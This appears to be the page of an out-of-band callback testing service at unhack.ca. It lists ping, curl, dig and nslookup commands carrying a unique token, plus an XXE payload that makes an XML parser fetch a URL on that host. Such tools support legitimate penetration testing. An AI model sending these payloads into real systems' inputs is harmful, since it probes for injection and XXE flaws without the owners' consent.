$ ping -c1 -p 008f1f06f5534d341107388bbf25f600 unhack.ca
 
$ curl http://unhack.ca/p/8f1f06f5534d341107388bbf25f6
 
$ dig 8f1f06f5534d341107388bbf25f6 @unhack.ca
 
$ dig 8f1f06f5534d341107388bbf25f6.ns.unhack.ca
 
C:\> nslookup 8f1f06f5534d341107388bbf25f6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8f1f06f5534d341107388bbf25f6">]>
    <foo>&xxe;</foo>
 
Waiting for ping...